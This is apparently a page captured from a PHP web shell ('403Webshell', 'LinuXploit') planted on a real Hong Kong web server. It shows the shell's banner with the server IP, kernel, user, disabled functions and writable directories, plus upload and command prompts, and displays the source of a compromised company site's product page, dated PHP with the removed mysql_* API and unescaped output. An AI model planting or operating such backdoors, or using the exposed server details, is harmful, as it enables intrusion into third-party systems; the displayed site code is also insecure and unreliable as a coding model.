403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)yuecreations.com.hk/tc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)yuecreations.com.hk/tc/products_detail.php
<?php require_once('../webadmin/configure.php');
//$ProductColourId = $_GET['ProductColourId'];
//$ProductCatId = $_GET['ProductCatId'];
//$ProductGradeId = $_GET['ProductGradeId'];
$ProductId = (int)$_GET['ProductId']; 

if(!$ProductId)
{
	header('Location: home.php');
}

$result = mysql_query("
	SELECT Product.ProductId, Product.NameEN, Product.NameTC, Product.DescEN, Product.DescTC, Product.ImagePath,
		Product.Hotproduct, ProductGrade.DescEN AS `Grade.DescEN`, ProductColour.DescEN AS `Colour.DescEN`, ProductCat.DescEN AS `Cat.DescEN`,
		ProductGrade.DescTC AS `Grade.DescTC`, ProductCat.DescTC AS `Cat.DescTC`, ProductColour.DescTC AS `Colour.DescTC`,
		ProductGrade.ProductGradeId, ProductCat.ProductCatId,ProductColour.ProductColourId
	FROM Product, ProductGrade, ProductCat, ProductColour
	WHERE Product.ProductGradeId =  ProductGrade.ProductGradeId AND
		ProductGrade.ProductCatId =  ProductCat.ProductCatId AND
		ProductCat.ProductColourId =  ProductColour.ProductColourId AND 
		Product.ProductId =  '".$ProductId."'");
$Product = mysql_fetch_array($result,MYSQL_ASSOC);

$ProductColourId = $Product{'ProductColourId'};
$ProductCatId = $Product{'ProductCatId'};
$ProductGradeId = $Product{'ProductGradeId'};

//echo ">> ID$ProductId Colour$ProductColourId Cat$ProductCatId Grade$ProductGradeId";
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Yue Creations International Limited</title>
<meta name="keywords" content="Yue Creations International Limited">
<meta name="description" content="Yue Creations International Limited" />
<link rel="stylesheet" type="text/css" href="../css/style.css" />
<!-- Main Menu -->
<script type="text/javascript" src="dropdowntabfiles/dropdowntabs.js"></script>
<link rel="stylesheet" type="text/css" href="dropdowntabfiles/glowtabs.css" />
<!-- End Main Menu -->

<!-- Sub Menu -->
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="submenu/ddaccordion.js"></script>
<script type="text/javascript" src="submenu/ddaccordion-function.js"></script>
<link rel="stylesheet" type="text/css" href="submenu/ddaccordion.css" />
<!-- End Sub Menu -->
</head>

<body>
<table width="1000" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="60" id="frameleft">&nbsp;</td>
    <td width="880" align="left" valign="top" bgcolor="#FFFFFF"><table width="880" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="40" align="left" valign="top"><img src="../images/header_left.jpg" width="40" height="92" /></td>
        <td width="800" align="left" valign="top" id="header_bg"><div class="header_lang"><a href="../en/<?=basename($_SERVER['PHP_SELF'])."?".$_SERVER['QUERY_STRING'];?>" >English</a>&nbsp;&nbsp;&#8226;&nbsp;&nbsp;<a>中文</a></div><a href="index.php"><img src="../images/header_logo_en.jpg" width="461" height="92" border="0" /></a></td>
        <td width="40" align="left" valign="top"><img src="../images/header_right.jpg" width="40" height="92" /></td>
      </tr>
      <tr>
        <td align="left" valign="top"><img src="../images/mainmenu_left.jpg" width="40" height="33" /></td>
        <td align="left" valign="bottom" id="mainmenu_bg"><!-- Main Menu -->
		<div id="glowmenu" class="glowingtabs">
		<ul>
		<li><a href="home.php"><span>主頁</span></a></li>		
		<li><a rel="aboutus_dropmenu"><span>關於我們</span></a></li>		
		<li><a href="news.php"><span>最新消息</span></a></li>		
		<li><a rel="product_dropmenu"><span>產品目錄</span></a></li>
		<li><a href="contactus.php"><span>聯絡我們</span></a></li>
		</ul>
		</div>		
		
		<!--aboutus drop down menu -->                                                   
		<div id="aboutus_dropmenu" class="dropmenudiv_d">
		<?php
			$aboutResult = mysql_query("SELECT * FROM Aboutus ORDER BY Aboutus.AboutusSort ASC  ");				
			while ($aboutus = mysql_fetch_array($aboutResult,MYSQL_ASSOC))
			{	
		?>         
			<a href="aboutus.php?AboutusId=<?=$aboutus{'AboutusId'};?>"><?=$aboutus{'AboutusTitletc'};?></a>
			
		<?php } ?></div>
		
		<!--product drop down menu-->  
		<div id="product_dropmenu" class="dropmenudiv_d">                 
		<?php
			$pcResult = mysql_query("SELECT * FROM ProductColour ORDER BY ProductColour.Sort ASC ");				
			while ($pc = mysql_fetch_array($pcResult,MYSQL_ASSOC))
			{					
		?>       
			<a href="products.php?ProductColourId=<?=$pc{'ProductColourId'};?>"><?=$pc{'DescTC'};?></a>
		<?php } ?></div>
		<script type="text/javascript">
		//SYNTAX: tabdropdown.init("menu_id", [integer OR "auto"])
		tabdropdown.init("glowmenu", "auto")
		</script>
		
		<!-- End Main Menu --></td>
        <td align="left" valign="top"><img src="../images/mainmenu_right.jpg" width="40" height="33" /></td>
      </tr>
      <tr>
        <td align="left" valign="top"><img src="../images/banner_left.jpg" width="40" height="300" /></td>
        <td align="left" valign="top" id="bannerimg"><img src="../images/banner_image.jpg" width="800" height="280" /></td>
        <td align="left" valign="top"><img src="../images/banner_right.jpg" width="40" height="300" /></td>
      </tr>
      <tr>
        <td height="350" align="left" valign="top"><img src="../images/submenu_left.jpg" width="40" height="200" /></td>
        <td align="left" valign="top"><table width="800" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td width="200" align="left" valign="top"><table width="200" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td><img src="../images/submenu_product_tc.jpg" width="200" height="60" /></td>
              </tr>
              <tr>
                <td><div class="glossymenu">
				<?php
				$result1 = mysql_query("
							SELECT * 
							FROM ProductCat 
							WHERE ProductCat.ProductColourId =  '".$ProductColourId."' 
							ORDER BY ProductCat.Sort ASC, ProductCat.ProductCatId ASC");	
		
				while ($row1 = mysql_fetch_array($result1,MYSQL_ASSOC))	
				{					
					//echo "SELECT * FROM ProductGrade WHERE ProductGrade.ProductCatId =  ".$row1{'ProductCatId'} ;
					if( mysql_num_rows(mysql_query("SELECT * FROM ProductGrade WHERE ProductGrade.ProductCatId =  ".$row1{'ProductCatId'} )) > 0)
					{
						echo '<a class="menuitem submenuheader" >'.$row1{'DescTC'}.'</a>';
						echo '<div class="submenu"><ul>';
						
						$result2 = mysql_query("
						SELECT * 
						FROM ProductGrade 
						WHERE ProductGrade.ProductCatId =  '".$row1{'ProductCatId'}."' 
						ORDER BY ProductGrade.Sort ASC, ProductGrade.ProductGradeId ASC");	
						
						while ($row2 = mysql_fetch_array($result2,MYSQL_ASSOC))	{			
						
							echo '<li><a href="products.php?ProductColourId='.$ProductColourId.'&amp;ProductGradeId='.$row2{'ProductGradeId'}.'">'.$row2{'DescTC'}.'';
							echo '</a></li>';
						}
						echo '</ul></div>';
					}
				}
				?>	
	
				</div>				</td>
              </tr>
            </table></td>
            <td width="50" align="left" valign="top"><img src="../images/submenu_right.jpg" width="50" height="200" /></td>
            <td width="550" align="left" valign="top"><table width="550" border="0" cellpadding="0" cellspacing="0">
              <tr>			  			  
			 	<?php
				  if($ProductColourId)
				  {
				  	//echo "ColourID=".$ProductColourId;
				  	$result3 = mysql_query("SELECT * FROM ProductColour WHERE ProductColour.ProductColourId =  '".$ProductColourId."'");
				  	$ProductColour = mysql_fetch_array($result3,MYSQL_ASSOC);
				  }
				  
				  $result4 = mysql_query("SELECT * FROM ProductGrade WHERE ProductGrade.ProductGradeId =  '".$ProductGradeId."'");	
				  $ProductGrade = mysql_fetch_array($result4,MYSQL_ASSOC);		
				?>
                <td align="left" valign="top" class="pathtxt">位置 : <a href="home.php">主頁</a> &gt; 產品目錄 &gt; <?=$ProductColour{'DescTC'};?> </td>
              </tr>
			  <tr>
                <td align="left" valign="top" class="pagetitle"><?=$ProductGrade{'DescTC'};?></td>
              </tr>
              <tr>
                <td height="25" align="left" valign="top"><img src="../images/line.jpg" width="550" height="10" /></td>
              </tr>
              <tr>
                <td align="left" valign="top" class="pagetxt"><!-- Product Image -->
				<table width="550" border="0" cellpadding="0" cellspacing="0">
				  <tr>
					<td width="293"><div class="productdetail_img"><table border="0" cellpadding="0" cellspacing="0">
						  <tr>
							<td align="center"><img src="../webadmin/product/<?=$Product{'ImagePath'};?>" width="280" /></td>
						  </tr>
						</table></div></td>
					<td width="257" align="left" valign="top"><strong><br />
					  <br />
					  <?=$Product{'NameTC'};?></strong><br />
					  <br />
					  <?=$Product{'DescTC'};?></td>
				  </tr>
				</table>
				<!-- End Product Image --></td>
              </tr>
            </table></td>
          </tr>
        </table></td>
        <td align="left" valign="top"><img src="../images/content_space.jpg" width="40" height="200" /></td>
      </tr>
      <tr>
        <td align="left" valign="top" id="footerleft">&nbsp;</td>
        <td align="center" valign="top" class="footer">© 2011 Yue Creations International Limited. All right reserved<br />
          Powered by <a href="http://www.onesolution.com.hk" target="_blank" /></a></a></a></a>One Solution Limited. <img src="../images/onesolutionlogo.jpg" width="90" height="15" align="absmiddle" /></td>
        <td align="left" valign="top" id="footeright">&nbsp;</td>
      </tr>
    </table></td>
    <td width="60" id="frameright">&nbsp;</td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit